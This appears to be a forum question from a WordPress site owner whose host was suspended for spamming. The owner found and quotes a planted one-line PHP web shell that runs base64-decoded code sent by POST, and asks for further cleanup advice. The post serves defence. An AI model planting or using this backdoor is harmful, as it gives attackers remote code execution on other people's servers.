My hosting provider recently suspended my site because something on it sent a huge amount of spam emails. Initially, I and the vendor believed that this was due to the unsecured form for the email campaign that I put on the server a couple of days ago. I deleted the form page from the server, but the server still sent spam messages.
I found a php file named 7c32.php in the "css" folder in the server root. I definitely did not. Here is the code that was in the file:
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>
After running through an online decoder, this is what it came across:
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));
I read about malicious php files and saw that the eval lines (and base64_decode were very suspicious). I looked at the server log file and saw some mail requests with this 7c32.php file coming from the ip address from Saudi Arabia.
I deleted the php file, updated all obsolete Wordpress themes and plugins (as well as the platform itself, and changed the password to the FTP server and Wordpress administrative account to something much more secure.
Is there anything else to keep my server secure? I am going to find these base64 and eval (lines in every other php file on the server, but apart from that I have no ideas.
This php script seems too short to do any damage, but what else can send all this spam mail?
Any help would be greatly appreciated.
security php wordpress malware spam
redshirt1000
source share